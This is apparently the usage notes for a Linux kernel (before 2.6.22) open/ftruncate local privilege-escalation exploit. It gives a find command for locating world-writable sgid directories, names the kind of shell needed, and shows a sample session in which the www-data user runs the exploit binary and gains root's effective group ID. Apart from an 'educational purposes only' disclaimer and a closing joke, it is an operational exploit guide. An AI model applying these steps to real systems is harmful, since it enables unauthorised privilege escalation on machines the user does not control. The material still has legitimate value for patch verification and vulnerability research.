Linux kernel < 2.6.22 open/ftruncate local exploit

!!!This is for educational purposes only!!!

To use it, you've got to find a sgid directory you've got
permissions to write into (obviously world-writable), e.g:
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
which fortunately is not common those days :)
And also a shell that does not drop sgid privs upon execution (like ash/sash).
E.g:

test:/fileserver/samba$ ls -ld
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
test:/fileserver/samba$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
test:/fileserver/samba$ /tmp/gw-ftrex
ash shell found!
size=80200
We're evil evil evil!

$ id
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)

Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
